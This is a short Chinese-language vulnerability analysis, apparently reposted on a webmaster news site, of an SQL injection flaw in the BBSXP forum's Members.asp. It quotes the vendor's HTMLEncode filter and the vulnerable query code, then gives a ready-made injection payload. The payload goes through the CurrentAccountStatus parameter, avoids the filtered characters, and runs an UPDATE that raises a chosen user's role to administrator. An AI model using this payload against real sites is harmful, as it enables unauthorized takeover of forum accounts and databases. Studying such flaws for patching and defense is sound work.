漏洞分析:
官方最新过滤函数HTMLEncode,这次过滤了字符* ,再一次绕过过滤注射 Function HTMLEncode(fString) fString=Replace(fString,CHR(9),"") fString=Replace(fString,CHR(13),"") fString=Replace(fString,CHR(22),"") fString=Replace(fString,CHR(38),"&") '“&” fString=Replace(fString,CHR(32)," ") '“ ” fString=Replace(fString,CHR(34),""") '“"” fString=Replace(fString,CHR(39),"'") '“'” fString=Replace(fString,CHR(42),"*") '“*” fString=Replace(fString,CHR(44),",") '“,” fString=Replace(fString,CHR(45)&CHR(45),"--") '“--” fString=Replace(fString,CHR(60),"<") '“<” fString=Replace(fString,CHR(62),">") '“>” fString=Replace(fString,CHR(92),"\") '“\” fString=Replace(fString,CHR(59),";") '“;” fString=Replace(fString,CHR(10)," ") fString=ReplaceText(fString,"([&#])([a-z0-9]*);","$1$2;") if SiteConfig("BannedText")<>"" then fString=ReplaceText(fString,"("&SiteConfig("BannedText")&")",string(len("&$1&"),"*")) if IsSqlDataBase=0 then '过滤片假名(日文字符)[\u30A0-\u30FF] by yuzi fString=escape(fString) fString=ReplaceText(fString,"%u30([A-F][0-F])","0$1;") fString=unescape(fString) end if HTMLEncode=fString End Function Members.asp漏洞文件作为测试: SearchType=HTMLEncode(Request("SearchType")) //第8行 SearchText=HTMLEncode(Request("SearchText")) SearchRole=RequestInt("SearchRole") CurrentAccountStatus=HTMLEncode(Request("CurrentAccountStatus")) ...... if SearchText<>"" then item=item&" and ("&SearchType&" like '%"&SearchText&"%')" //第18行 ...... if CurrentAccountStatus <> "" then item=item&" and UserAccountStatus="&CurrentAccountStatus&"" //第22行 if item<>"" then item=" where "&mid(item,5) ...... TotalCount=Execute("Select count(UserID) From ["&TablePrefix&"Users]"&item)(0) '获取数据数量 //第54行 看个sql语句: select * from bbsxp_users where userid=(1)update[bbsxp_users]set[userroleid]=(1)where(username=0x79006C003600330036003400) 变量userid绕过过滤成功执行了update 同理构造: SearchType=1 SearchText=1 CurrentAccountStatus=(1)update[bbsxp_users]set[userroleid]=(1)where(username=0x79006C003600330036003400) |
免责声明:本站部分文章和图片均来自用户投稿和网络收集,旨在传播知识,文章和图片版权归原作者及原出处所有,仅供学习与参考,请勿用于商业用途,如果损害了您的权利,请联系我们及时修正或删除。谢谢!
始终以前瞻性的眼光聚焦站长、创业、互联网等领域,为您提供最新最全的互联网资讯,帮助站长转型升级,为互联网创业者提供更加优质的创业信息和品牌营销服务,与站长一起进步!让互联网创业者不再孤独!
扫一扫,关注站长网微信